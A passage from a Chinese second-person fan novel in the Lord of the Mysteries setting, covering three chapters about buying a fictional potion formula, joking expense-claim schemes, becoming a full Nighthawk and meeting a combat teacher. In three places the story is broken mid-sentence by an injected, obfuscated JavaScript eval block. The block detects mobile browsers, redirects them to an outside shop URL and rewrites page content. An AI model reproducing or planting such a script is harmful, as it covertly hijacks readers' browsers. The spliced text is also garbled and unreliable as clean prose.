你敏锐地捕捉到了他话里的信息,立刻顺杆爬,“原来你是因为有任务才来廷根的呀?什么任务这么重要,让胖达你千里迢迢跑过来?” “是啊!不然你以为我……” 达克威尔下意识地接话,说到一半猛地刹住,意识到被你套话了。他倏地转过身,脸红得几乎要滴出血来,恶狠狠地瞪着你,却因为懊恼和尴尬,一时说不出完整的话,最后只是“哼”了一声,把那个信封用力往你怀里又塞了塞,然后挥手做出驱赶状:“走走走!信给你了!快走!别在这儿碍眼!” 眼看他又要赶人,你立刻祭出“不要脸”大法,一个箭步上前,伸手抓住了他还没来得及缩回去的胳膊——他吓得猛地一抖,试图甩开,但没太用力。 “等等嘛,胖达!急什么!” 你抓着他,眼睛眨巴眨巴,用最真诚(自以为)的语气问道,“那个……序列八的魔药配方,一般市场价要多少啊?你先告诉我个数,我好去准备钱。放心!” 你拍拍胸脯,故意压低声音,带着点小得意说,“我花黑夜女神的钱养你啊!” 说完,你心里默默数了五秒。 五,四,三……果然,五秒刚过,原本试图挣脱的达克威尔动作一顿。他慢慢转过身,那双小眼睛里闪烁着心动的光芒。他上下打量着你,声音都压低了些,带着怀疑和确认:“真的假的?你们值夜者的队长同意你用公款买配方?” “真的!千真万确!” 你立刻把头点得像小鸡啄米,“我们队长亲口说的,圣堂特许的渠道,合理花费可以报销!” 为了增加可信度,你还特意搬出了“圣堂”。 达克威尔看着你,脸上的怒气消退了大半,取而代之的是一种混合着惊讶、思索,以及一丝隐约不安的复杂神情。他沉吟着,没再说话。 你隐约觉得,“用公款向隐秘组织购买配方”这种行为,似乎触及了某种他认知中官方与野生非凡者之间微妙的界限,让他觉得有些……不妥?或者说,太过顺利? 但他并没有再质疑或劝阻。短暂的沉默后,他先是走到店门口,将那块“营业中”的木牌翻过来,换成了“店主有事,提前打烊”,然后仔细挂好,又从里面将店门闩上。做完这一切,他才走回柜台后面,神情恢复了平时的市侩精明,但眼神深处依旧带着点探究。 做完这一切,他才走回柜台后面,脸上的表情严肃了不少,但那种拒人千里的不耐烦倒是淡了许多。他压低声音,又问了一遍,这次更正式:“你确定,是你们值夜者的队长,邓恩·史密斯先生,明确表示你可以用官方的经费,向我……或者说向‘生命学派’购买‘怪物’途径序列8的魔药配方?” 他反复确认这一点,似乎不只是为了钱,更涉及到某种立场、规则或者潜在的风险。黑夜教会和生命学派这样的隐秘组织之间,关于知识与资源的交易,恐怕有着不成文的界限或默契。 “是的,” 你收起玩笑的神色,认真地点头,“邓恩队长亲口告知我,圣堂已有特许。相关合理花费可以报销,但获得的配方知识需要同步记录在教会的档案中。” 听到“记录在案”,达克威尔撇了撇嘴,但没再说什么,似乎是接受了这个条件。 “一般的序列八魔药配方,” 他清了清嗓子,用谈生意的口吻说道,“视途径的稀有程度、配方的完整性和准确性,价格浮动很大。常见途径的在450磅左右。至于你问的‘怪物’途径……” 他顿了顿,小眼睛瞥了我一眼,“这个途径比较偏门,市场需求相对小,危险性对服用者而言又比较高,所以通常取较低值。完整的、经过验证的序列8‘机器’魔药配方,大概在400磅上下。具体的,信里老师应该有更详细的说明,但大体不会差太多。” 400磅! 尽管有心理准备,这个数字还是让你心里“咯噔”一下。你现在周薪6磅,400磅差不多相当于你不吃不喝整整一年半的薪水!虽然队长说了可以报销,但这么大一笔钱,审批流程恐怕也不会简单。而且,这还只是配方的钱,后续搜集主材料、辅助材料,又是一大笔开销……晋升之路,果然每一步都离不开金钱铺路。 “400磅啊……” 你咂咂嘴,感觉任重道远,但眼神却更加坚定。知道了明确的目标和价格,总比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199976|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无头绪强。“谢了,胖达。我先看看信。” “说了别叫我胖达!” 达克威尔条件反射般地抗议,但声音已经没什么气势了。他摆摆手,示意你自便,自己则走到一旁,开始心不在焉地整理起那些晒干的草药,只是时不时用眼角余光瞟你一下,显然对你这位“能用公款买配方”的官方非凡者依旧充满好奇和一丝难以言说的顾虑。 你小心地拆开信封,抽出里面那张质地优良的信纸。 『致我勤勉的学生: 见信如晤。我在贝克兰德一切安好,这里的雾气依旧浓重,但学派的事务正在稳步推进。你寄来的信我已收到,愿命运始终眷顾你的脚步。 关于你代那位“命运眷者”询问的序列8“机器”魔药配方,我可以明确地告诉你:在命运面前,这并不是什么需要保密的事情。 “机器”的主材料是橘光石一枚,幼年独角兽的结晶,辅助材料有幼年独角兽的血液80毫升,蛇鳞10片(以白色或银色为佳),白栗花精油7滴,柠檬草9根,铁锈13克。 服用“机器”魔药后,非凡者将获得恐怖的计算能力与精准的身体控制力,五感与体能显著增强,成为格斗、射击等领域的天赋者。此外,亦将初步掌握占卜与反占卜的被动能力,宛如一架精密的仪器勘破迷雾。 另有一事需你留意:在本旬的命运议会中,有议会成员发现“怪物”途径的底层非凡能力似受到了命运扰动。从序列九开始,“怪物”途径的非凡者显现出窥视他人近三小时过去的能力(通过一种特殊灵视)。你需暗中观察能接触到的“怪物”,确认此能力的普遍性与触发条件。若遇到“命运”途径的个体,可尝试以生命学派的名义吸纳,引导他们走向有序——毕竟,命运的涟漪需要被妥善记录,也许这也是一种启示。 最后,谨以一段箴言作结: “命运之轮常转,唯谦卑者能窥其轨迹;凡追逐真相之人,必先臣服于真相。” 愿你我皆在洪流中寻得自己的坐标。 你的老师 罗伊·金 (附:魔药服用前需以月桂叶熏蒸材料,并在银质容器中静置一夜,以平衡“机器”的冷硬特性。切记,命运的赠礼从不免费,但眷者或许能由女神代付其代价——这是例外。)』 阅读完信件,你感到这封信件下藏着巨大的信息量。“配方信息我收到了,价格我也心里有数了。多谢啦,胖……呃,达克威尔。” 你改了口,毕竟刚得了人家帮助,“钱的事情我会尽快向上面申请的。” 你想起他刚才的反应,又联系信件内容,补充问道,“信件内容你之前看过吗?” 达克威尔“嗯”了一声,没多说什么,只是挥挥手,让你记住了就快点离开:“我知道你想问什么,但你们‘怪物’的事,你问我我也不知道,我只是按照老师的指示办事,‘怪物’为什么会突然多了一项能力我也不清楚。” 达克威尔应该没有撒谎,毕竟连他的老师都不知道,只是让他留意,那问他确实也没用。 而且只能看到他人三小时的过去算什么,你还能看到活物两天内的过去呢,比他们都厉害!虽然这可能也是一种命运的眷顾? 你不得不承认命运实在太难以捉摸了。 71.第69章 谁会不喜欢报销呢 捏着那封至关重要的信,你心满意足地走出药店,感觉晋升之路的迷雾被驱散了一大片。刚走出几步,一个念头突兀地闪过脑海——“等等,价格呢?信里怎么没提多少钱?该不会……” 你脚步一顿,心想:“嘶……我不会是被老尼尔那套‘报销’学说给传染了吧?怎么第一反应是多少钱和怎么报销……” 不过你自嘲归自嘲,身体却很诚实地一个急转身,又快步溜回了刚刚关上的药店门口。 “咚咚咚!” 你用力敲了敲门,脸上已经挂上了那种你自己都觉得有点过于灿烂且不怀好意的笑容。 里面传来达克威尔不耐烦的声音:“谁啊!打烊了!” “是我呀,胖达~开门嘛~” 这一声百转千回的呼唤,让你自己都忍不住起了一层鸡皮疙瘩。 门内静默了两秒,然后门被猛地拉开一条缝,露出达克威尔那张写满“你怎么又来了”的圆脸,像看什么脏东西一样瞪着你:“你、你又想干什么?!好好说话!” 你灵巧地从门缝里挤了进去,脸上笑容不变,眼睛弯成月牙:“哎呀胖达,别这么冷淡嘛~我刚刚突然想起来,信里好像没写这个配方值多少钱诶~” 你搓着手,凑近了一点,用自以为很天真但其实听起来完全是讨打的语气,“是不是因为……我作为‘命运眷者’,可以,嗯,享受一点特别的优待?比如……免单?” “你想得美!!!” 达克威尔瞬间炸毛,脸涨得通红,抄起手边晾干的鼠尾草,劈头盖脸就朝你挥了过来,“白拿配方?!你怎么不说把药店也送你?!出去!立刻!马上!” “哎呀呀!打人啦!胖达打人啦!” 你一边灵活地缩着脖子躲闪,一边故意扯着嗓子大喊大叫,仿佛正在遭受什么惨无人道的毒打,其实那鼠尾草打在身上轻飘飘的,跟用柚子叶拍打驱邪差不多,还有点好闻的草药味。 “好了好了!我错了!不白拿!不白拿! 我们分!二八分!你二我八! ……三七!三七总行了吧!这是我最大的让步了!胖达,我也有一大家子人要养的!我上有老下有小,弟弟要上学,家里刚搬家呀~” 你嘴上说着可怜兮兮的话,表情却完全不是那么回事。不知道为什么,在达克威尔面前,你好像特别容易放飞自我,变得有点……嗯,贱兮兮的。大概是因为能敏锐地感觉到他不会真的伤害你,而且逗弄他的反应实在太有趣了。 说白了明明只要真的伤害你就可以阻止你完全跑偏的相处方式,但是胖达至今为止都没有说过过分的话,连打你都只是拿草叶子,这不就说明是在纵容你吗?所以变成这样完全是他的错吧!我和别人都没这么玩,所以一定是胖达的问题吧! 达克威尔被你弄得没脾气了,他停下“攻击”,喘着粗气,瞪着你:“你都拿到配方了,还不走,到底想干嘛?!” 你看他态度松动,立刻搓着手,换上一副商量大事的表情,压低声音,神秘兮兮地说:“胖达,我有要事相报!我觉得我们俩合作大有可为啊! 你看啊,等我从我们值夜者那边骗,哦不,申请到那400磅的配方报销款……” 我观察着他的表情,继续说,“我们就按刚才说的,三七分!你三我七! 你别嫌少啊,我拿大头是因为我还要用这钱去买魔药材料呢!(虽然魔药材料你也打算找队长报销,但这话现在不能说。)而且,你也不亏啊!这三成可是白得的!” 当然你更是白得一个400磅的魔药配方和400磅的七成,纯血赚。 你看达克威尔表情松动,似乎被你的话打动了,立刻趁热打铁,开始灌输你的“报销大法”: “胖达,你想想!” 你扳着手指头,开始给他算账,语速飞快,“你,为了学派任务,千里迢迢从繁华的贝克兰德,跑到我们廷根这‘又湿又冷’的地方,是不是应该有外派补贴?就算没有,车马费、住宿补贴总有吧?你现在租的这个药店和后面的房间,是不是完成任务、接触我这个命运眷者的必要工作场所?这租金怎么能让你自掏腰包呢?必须报销!” 达克威尔张了张嘴,似乎想反驳,但又觉得好像有点道理,小眼睛瞪得溜圆,嘴巴微微张开,一副世界观受到冲击的样子。 你继续加码,图穷匕见:“还有啊!你看,我是值夜者,以后肯定少不了出危险任务,经常要和危险分子打交道的,那受伤了怎么办?不得来找你这位生命学派的精英药师买药疗伤?这药剂费、草药的损耗费、你的人工配制费…… 你也得通通算上报销!这明明是为了‘支持命运眷者的成长与活动’而产生的必要经费!” 你越说越起劲,感觉自己简直是个报销天才:“你就写,为了在廷根更好地观察、引导、支持命运眷者,也就是我,保障其顺利成长以完成命运赋予的使命,需要在当地建立据点、储备医疗资源、提供必要情报与物资支持……这些不都需要钱吗?老师还能不给你批?” 你一口气说完,眼巴巴地看着达克威尔,试图用你“真诚”的眼神把他绕进去,让他默认以后你来他这里拿药可以走生命学派的“公账”,甚至最好能免费。 达克威尔呆立在那里,手里还捏着那把鼠尾草,脸上的表情从震惊,到茫然。他张了张嘴,似乎想反驳你的话,但一时又不知从何驳起。 过了一会儿,达克威尔终于找回了自己的声音,他虚弱地抗议道:“你、你这是歪理……老师会扒了我的皮的……” “怎么会!” 你义正辞严,“我们这是合理利用规则,为伟大的事业争取必要的资源!罗伊·金先生深明大义,一定会理解的!” 你想去拍拍他的肩膀,结果被他躲开了,不过你也没在意,依旧一副“我看好你”的表情。 达克威尔看着你,又看了看自己手里那把已经快被薅秃的鼠尾草,最终长长地、认命般地叹了口气,嘟囔道:“我、我得好好想想。你这家伙,一来就没好事……” 你知道,他这态度基本就是半推半就了。你单方宣布报销联盟初步达成! 你心满意足,终于准备真正离开。走到门口又回头冲他露出一个笑容:“那我先走啦,胖达!等我好消息!记得把账本准备好哦!” “快走快走!别叫我胖达!” 达克威尔有气无力地挥挥手,这次连驱赶的力气都没了。 刚走出药店,你猛地一拍脑门,停下了脚步。 “糟糕!差点把这事忘了!我真被队长传染了他那狗屎一样的记性了吗?!” 你在心里哀嚎一声,无奈地转身,店门上的风铃大概都快认识你了。 推开店门,达克威尔正有气无力地趴在柜台上,听到铃声,他连头都懒得抬,只是深深地、充满疲惫地叹了口气,声音闷闷地从臂弯里传来:“……又怎么了?我这药店的门槛要被你踏平了。” 你立刻换上最无辜、最关切的表情,快步走过去:“胖达,你怎么趴着了?是不是不舒服?要不要先坐着休息会儿?” 你假惺惺地问候。 达克威尔猛地抬起头,瞪着你,脸上写满了控诉:“我为什么这样你心里没点数吗?我好得很!有屁快放! 说完赶紧走,我要关门睡觉了!” 他虽然这么说,但确实没再趴着了,坐直了身子。 “嘿嘿,是这样,” 你搓着手,脸上又挂起那副“有求于人”的招牌笑容,“我新收了个……呃,算是小弟吧。叫阿德米索尔。如果你去过廷根码头的‘恶龙酒吧’下面那个非凡市场,可能见过他,绰号‘怪物’的那个。” 你观察着达克威尔的表情,“他是个天生的高灵感者,也是半个天生的序列9‘怪物’,还没喝魔药,但灵感高到快疯了,经常看到听到不该看的东西。” 达克威尔闻言,皱了皱眉,思索了一下:“恶龙酒吧下面的市场……我只在刚来廷根时去过一次,发现那里没什么像样的非凡草药流通,后来就没再去过了。我调配的药剂有自己固定的、更隐蔽的渠道出手。” 他顿了顿,看向我,小眼睛里带着探究,“所以?你是想让我帮你看着他?还是……” “嗯,是有这个意思。” 你点点头,顺着他的话往下说,“他这种情况,放任不管很危险,容易彻底疯掉或者被别的什么盯上。你不是说生命学派在吸纳‘怪物’途径的成员吗?那如果……我想把他引入学派,该怎么算?是记在你的名下,还是记在我的名下?我的意思是,学派不是讲究师徒传承吗?得给他找个正式的老师吧?” 达克威尔没有立刻回答,他摸了摸自己圆润的下巴,似乎在权衡。过了一会儿,他才缓缓说道:“一般来说,谁引入,谁负责最初的观察和引导。如果确认值得培养,且对方也愿意,才会正式确定师徒名分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199977|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记在谁名下,就意味着谁要承担相应的导师义务和责任。” 他看了我一眼,“你想自己来?” 你顿了顿。说实话,阿德米索尔那种黏人的状态,当他的导师绝对不是轻松差事。 “唉,还是记我名下吧。” 你最终还是做出了决定,语气里带着点认命和无奈,但很坚定,“他……比较黏我,而且他的情况特殊,或许我这种同途径的‘怪物’,更能理解他一些。” 虽然你自己的“怪物”经验也多靠瞎蒙。 达克威尔似乎对你的决定并不意外,只是“嗯”了一声,算是知道了。 这时,你忽然想到一个问题,好奇地问道:“对了,胖达,既然生命学派以师徒传承为主,那我算是谁的徒弟、谁的学生啊?罗伊先生的信是写给你的,配方也是通过你转交的,但我好像没有被分配什么老师?我加入学派……呃,算是加入吗?流程就这么随便吗?” 你一直有点纳闷,你这个“命运眷者”在学派里到底是什么定位。 达克威尔听到这个问题,明显愣了一下,随即表情变得有些古怪,像是想笑又强行忍住,最后化为一种混合着敬畏和无奈的神情。他清了清嗓子,用一种颇为正式(但在你看来有点滑稽)的语气解释道: “你?你不需要分配老师。非要说的话,命运的眷者,直属于命运本身。在生命学派的认知里,你的道路由命运直接指引,你的领悟来自对命运轨迹的窥视。如果硬要给你安一个老师,那只能是……‘始祖’本身。” 他顿了顿,似乎在斟酌词句,“在学派内部,没有人能、也没有人敢自认比‘始祖’位阶更高,去当你的老师。所以,你自然不会被分配任何导师。你的存在……本身就是一种特例。罗伊老师,以及我与你的交际,更多是代表学派与你建立联系、提供必要的帮助,而非教导。” “……” 这下轮到你愣住了。 直属于命运?老师是“始祖”?没人敢教我? 这信息量有点大。你一直以为“命运眷者”只是个有点特别的称号或者天赋,毕竟你虽然知道自己是命运的眷者,但除了达克威尔,你甚至都还没有见过其他学派的人,结果在生命学派内部,命运眷者居然被抬到了这么……超然的位置? 合着我名义上的顶头上司,是那个虚无缥缈的“始祖”? 你想到阿德米索尔天天跟着你始祖长、始祖短地叫,难道就是因为你是“始祖”的学生,他感觉到了“始祖”的气息?嘶,那这灵感…… 你感觉有些微妙。 没有具体老师的约束固然自由,但也意味着前路更加模糊,一切都要靠自己摸索。 “原来……是这样。” 你挠了挠头,感觉有点不真实,“那我平时……需要遵守学派的什么规矩吗?或者有什么定期任务?” “规矩肯定要遵守,最基本的不外泄学派隐秘、不主动危害学派利益这些。至于任务……” 达克威尔耸耸肩,“你这种特例,通常不会有固定任务。或许在命运的关键节点,学派高层会请求你协助,或者你需要帮助时,可以寻求学派的支持。更多时候,你只需要……沿着命运为你揭示的道路走下去就行。当然,如果你愿意像现在这样,帮忙发现并引导像阿德米索尔这样的同类,学派自然乐见其成。” 好吧,听起来像个挂名的荣誉头衔,责任义务模糊,但有一定调动资源的权限。这定位倒是挺适合你现在的情况。 “明白了。多谢解惑,胖达老师!” 你故意用了个尊称,调侃道。 “都说了别叫我胖达!更别叫我老师!” 达克威尔瞬间又炸毛了,“快走快走!今天别再让我看见你!” “好好好,我走我走!” 你大笑着,这次是真的心满意足地离开了药店。 走在回家的路上,你消化着刚刚得到的信息。阿德米索尔的事有了初步打算,你在生命学派中的身份也得到了确认。 前路依旧迷雾重重,但至少,你身后有一个古老隐秘组织的潜在支持。 “沿着命运揭示的道路走下去……” 你低声重复着这句话,抬头看了看廷根市夜晚稀疏的星空。 我的道路,究竟会通向何方呢? 不管怎样,先搞定周五的舞会,再想办法消化魔药、晋升序列8,一步步来吧。 72.第70章 终于转正了 7月12日的清晨,阳光似乎都比往日更加明媚几分。你脚步轻快地走向黑荆棘安保公司,心情如同这晴朗的天气一样,充满期待。今天是个好日子!因为今天,你和克莱恩,终于要正式转正,成为真正的值夜者队员了! 虽然按照邓恩队长的说法,还需要独立完成一个小任务作为最后的考验,但其实,自从你们服下魔药、成功处理了安提哥努斯笔记相关事件并协助解决了瑞尔·比伯的麻烦后,成为正式值夜者成员早已是板上钉钉的事。队长的“独立任务”,更像是走个过场的仪式,或者说,是他个人对你们的一次最终评估。 果然,一进公司大门,前台后的罗珊就抬起头,脸上带着了然和祝贺的笑容,脆生生地说道:“温蒂,你来得正好!队长交代了,让你一来就直接去他办公室。克莱恩已经先过去了。” “好的!谢谢罗珊!” 你精神一振,通过隔断,快步穿过文职人员的办公区域,来到队长办公室门前,轻轻敲了敲队长办公室的门。 “请进。” 邓恩队长沉稳的声音传出。 你推门进去,发现克莱恩果然已经到了,正站在办公桌前。邓恩·史密斯坐在他宽大的靠背椅后,灰色的眸子看向你们,目光中带着熟悉的审视,但比平时多了一丝不易察觉的温和。 看到你进来,他放下文件,点了点头。 “都到了,坐吧。” 队长示意你们坐下。 你和克莱恩依言坐下,腰背挺直,等待着这期待已久的时刻。 邓恩队长没有立刻宣布什么,而是像往常一样,用平稳的语调,再次重申了值夜者的职责、使命、保密原则以及需要遵守的纪律。这些内容,在你们入职培训和老尼尔等人的言传身教中,早已听过无数次。但此刻从他口中郑重说出,意义似乎又有所不同。 “……黑夜赋予我们眼睛,我们用它守护安宁。” 队长念完最后一句箴言,目光扫过你们,脸上露出一丝极淡的、但能清晰察觉到的温和笑意,“好了,正式的流程和告诫就到这里。去找老尼尔吧,继续你们的神秘学课程。不要因为身份的转变就松懈了学习。” “是,队长!” 你们齐声应道。 邓恩队长笑了笑,补充道:“另外,不要忘记今晚的聚餐。就在老维尔餐厅,我已经订好了位置。这次,我会正式将你们介绍给小队里所有的值夜者成员。” “好的!我已经准备好现金了。” 克莱恩的嘴角上翘,让你有些惊讶。 天呐,克莱恩要主动请客! 邓恩队长却摆了摆手:“不需要你们付费,这次聚餐有额外的活动补贴。” 他顿了顿,解释道,“这部分补贴,主要来源于之前你们参与并完成的那些委托任务中,上交的酬金。” 哇!还有免费大餐吃! 你和克莱恩眼睛都亮了,立刻应下:“谢谢队长!” 离开队长办公室,你们脚步轻快地走向地下的武器库兼炼金室。老尼尔正戴着他那副标志性的眼镜,在保养台前摆弄一件看起来有些年头的银质圣徽。听到脚步声,他头也不回地说道:“来了?看你们嘻嘻哈哈的样子,是正式文件下来了吧?” “嗯!尼尔先生,我们转正了!” 你高兴地宣布。 老尼尔这才转过身,红色的眼睛瞄了你们一眼,脸上带着长者看到晚辈进步的欣慰,摇了摇头,语气里带着过来人的调侃:“转正了是好事,但别光想着晚上的大餐。你们要学的东西还多着呢!” 他指了指旁边书架上堆积如山的卷轴和笔记,“更多的仪式魔法原理、复杂的符文绘制、古赫密斯语的进阶应用,还有巨龙语、精灵语的基础发音和常见词汇……等等,等等。这些都是值夜者必须掌握的知识。” 他顿了顿,看着你们,又抛出一个“惊喜”:“哦,对了,还有一件重要的事。从明天开始,除了休息日,你们每天下午必须抽出至少两个小时,跟着格斗老师进行系统的格斗训练。枪械很重要,但很多时候,你们未必有机会拔枪。” “格斗?” 克莱恩吓了一跳,脸上露出苦色,“队长刚才……没提过这个啊?” 老尼尔点了点头,用一种“这很正常”的语气,毫不犹豫地回答:“他忘了。队长经常这样,重要的事记得清清楚楚,这种常规安排的小事,转头就忘。反正通知到你们了,记得安排好时间。” 听到老尼尔如此自然地说出“他忘了”这三个字,你忍不住“噗嗤”一声笑了出来,接口道:“没错没错,队长有健忘症,而且还会传染!” 你看了一眼克莱恩,又转向老尼尔,分享起昨天的糗事,“我昨天不是去找生命学派那个线人问下一序列的配方嘛,顺便商量点事,结果因为总想起还有话没问完,来来回回在人家店铺出出进进了三回! 把人家都快整崩溃了。我现在严重怀疑,就是平时在队里被队长传染了!” “噗……” 老尼尔 闻言,捋着胡子哈哈笑了起来,连一向表情管理到位的克莱恩也忍不住弯起了嘴角,办公室里的气氛顿时轻松了不少。 好了好了,别贫嘴了。” 老尼尔笑够了,敲了敲桌子,“既然转正了,今天的神秘学课程,我们就从一些更‘实用’的、可能在外勤中遇到的、带有一定干扰和反制性质的简单仪式开始讲起。比如,如何快速布置一个干扰低层次灵体感知或追踪的临时迷障,虽然效果和范围都很有限,但关键时刻或许能争取到一点时间……” 你和克莱恩收敛笑容,认真地在老尼尔对面坐下,拿出笔记本。 …… 中午和克莱恩一起在接待厅,就着阳光吃完从老维尔餐厅送来的员工餐,一边吃一边有一搭没一搭地闲聊着。用面包擦掉餐盘上的最后一点汤汁,克莱恩忽然问你:“昨天你去生命学派那位线人那里,具体聊了些什么?只是配方吗?” “差不多吧,” 你咽下嘴里的面包,“主要是我下一序列的魔药信息,还有就是关于可能吸纳一个新成员的事。” 你含糊地说道。 克莱恩闻言顿了顿,放下手里的勺子,褐色的眼睛看向我,语气带着一丝不确定:“新成员?生命学派的?是……阿德米索尔?” “嗯?” 你有些惊讶,抬起头,“你认识他?哦对,你说你昨天跟老尼尔去了恶龙酒吧下面的市场……是的,就是他。毕竟是天生的半个‘怪物’,灵感高得吓人,在外面流浪也太惨了,还容易出问题。我就想着,能不能介绍他进生命学派,至少有个组织和引导。” 你点点头,补充道,“不出意外的话,我可能还得当他名义上的老师……虽然我自己也是个半吊子。” 克莱恩的表情变得有些复杂,他推了推眼镜,声音压低了些:“我昨天确实见到他了,在市场里。他的灵感……高得异常,甚至能引发周围人灵性的轻微触动。” 他沉默了片刻,似乎在回忆,然后用一种更轻的声音说,“他好像……在我身上看到了什么。盯着我看了很久,然后眼睛开始流血。虽然很快止住了,但看起来有点吓人。” “啊?” 你愣住了,随即叹了口气,心里为阿德米索尔那不受控制的灵感感到无奈,也有一丝后怕。 “这……还好生命学派那个线人本身是个药师,一般的伤势和灵性反噬大概都能处理。要是放任不管,天知道他哪天就把自己看瞎了,或者看到什么更可怕的东西彻底疯掉。” 说着,你下意识地、极快地揉了揉右眼眶,开启了“虚视” ,目光扫过坐在对面的克莱恩——好吧,依旧是熟悉的、浓郁到化不开的灰雾缭绕,将他过去与未来的轨迹严严实实地遮蔽着,什么也看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208762|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 连我的“虚视”都看不透,阿德米索尔强行窥视会受到反噬,太正常了。 “总之,阿德米索尔的事我会留意的,有机会介绍你们认识。” 你把空餐盘摆在一边,结束了这个话题。 下午两点,按照老尼尔的通知,你和克莱恩跟着伦纳德离开了市区。公共马车晃晃悠悠地将你们带到了北区边缘,靠近郊野的地方。最终,你们在一栋孤零零矗立在稀疏树林旁的二层房屋前下了车。 眼前的景象让你们略感愕然。 房屋是典型的旧式乡村建筑风格,砖石结构,但显然年久失修。外墙的涂料斑驳脱落,露出底下深色的砖块,大量的爬山虎和不知名的藤蔓植物几乎爬满了向阳面的整片墙壁,有些甚至从破损的窗框缝隙钻了进去。 房屋前所谓的花园已经完全荒芜,被半人高的杂草和肆意生长的灌木占据,几乎看不出路径。整体透着一股被时光遗忘的破败与孤寂感。 一副陪同模样的伦纳德倒是神色如常,他率先推开那扇吱呀作响、仿佛随时会掉下来的锈蚀铁艺院门,示意你们跟上。 “我们的格斗老师……就住在这里?” 克莱恩终于忍不住,向着走在前面的伦纳德问道,声音里充满了难以置信。他想象中的、能被值夜者小队郑重聘请的格斗专家,就算不是住在体面的街区,也至少该是干净整洁、充满训练气息的地方才对。 你心里也打起了鼓。能被值夜者小队专门请来教导新人格斗技巧的,怎么想都应该是身手矫健、住在训练场附近的高手吧,这地方……怎么看都像是一位落魄老先生的住所。 伦纳德闻言,低笑了一声,绿色的眼睛里闪过一丝缅怀和某种难以言喻的情绪。他没有直接回答克莱恩的疑问,而是用一种略带咏叹调般的感伤语气说道: “不要因为这居住的环境,就轻视了高文先生。 ” 伦纳德的目光扫过爬满藤蔓的墙壁和荒芜的花园,“但是,他曾经是一位真正的、获得过认证的骑士。虽然最终因为种种原因,与世袭的爵位擦肩而过,但骑士的称号与技艺,是实实在在的。” 说到这里,这位总是带着点玩世不恭神情的“午夜诗人”,脸上罕见地浮现出一种深刻的、属于追忆往昔辉煌的感伤: “他活跃于骑士最后的辉煌年代。那时候,还有穿着闪亮胸甲、骑着高头大马的勇士,敢于向着敌人排成紧密阵列的火枪和火炮,发起近乎疯狂的冲锋。他们凭借精湛的骑术、过人的勇气、钢铁般的意志和历经千锤百炼的武技,有时真的能撕裂阵线,摧毁对手,赢得近乎奇迹的胜利。” “可惜啊……那样的场景,很快就成为了绝响。高压蒸□□出现了,射程更远,威力更大,装填更快……然后是丧心病狂的六管机枪,金属的风暴彻底改变了战争的形态。穿着厚重铠甲、冲锋在前的骑士,在成排的枪口和喷吐火舌的机枪面前,变成了最显眼的靶子。从此之后,骑士们就逐渐退出了历史的舞台,成为了博物馆里的展品,或者像高文先生这样,带着一身技艺,隐居在城市的角落,默默老去。” 伦纳德的声音在寂静的郊外显得格外清晰。你和克莱恩都沉默地听着,原先对这处住所和那位未见面的高文先生的些许轻视,不知不觉消散了,取而代之的是一种混合着敬意和好奇的复杂心情。 一位真正的、经历过冷热兵器时代交替的最后骑士?他会是怎样的人?又会用怎样的方式,来教导我们这些生活在蒸汽与机械时代、却需要面对超凡危险的“值夜者”呢? “走吧,” 伦纳德收敛了情绪,率先推开那扇吱呀作响的锈蚀铁门,踏入了杂草丛生的庭院,“高文先生虽然脾气不太好,但既然队长拜托了他,他就会认真教导你们。记住,对他保持尊敬。” 73.第71章 格斗老师高文 还未等你们完全穿过荒芜的庭院走近那栋二层小楼,正门后那扇厚重的橡木门便“吱呀”一声向内敞开了。一个身材异常高大、骨架宽阔的男子从屋内昏暗的光线中走了出来,站在了门廊的阴影下。 他看起来大约五十多岁,一头极短的金发已经夹杂了明显的银白,尤其是两鬓,白得颇为醒目。脸庞的皮肤带着常年风吹日晒留下的粗糙痕迹和浅褐色,抬头纹、深刻的鱼尾纹和法令纹如同刀刻般明显。 他穿着一件洗得发白、肘部打着皮质补丁的亚麻衬衫和一条同样陈旧的棕色马裤,脚上是一双沾着泥土的旧皮靴。最引人注目的是他的眼睛——略显浑浊的蓝色,此刻正平静地、甚至可以说有些死气沉沉地看着你们这三个不速之客。 “你们找谁?有什么事?” 他的声音低沉,带着点砂石摩擦的质感,直截了当。 伦纳德上前一步,脸上带着惯有的懒散笑容,微微欠身:“下午好,高文先生。我是伦纳德·米切尔,这两位是克莱恩·莫雷蒂和温蒂·佩洛蒙西娅,廷根市警察部门特别行动部的新晋成员。按之前的约定,他们需要接受系统的格斗训练,邓恩队长推荐了您。” “格斗?” 高文那双略显浑浊的眼睛在伦纳德脸上停留了一秒,然后缓缓移向克莱恩,又扫过你,最后用那种平淡到近乎漠然的语气说道,声音里听不出什么情绪,“现在的时代,不需要学习格斗。年轻人,” 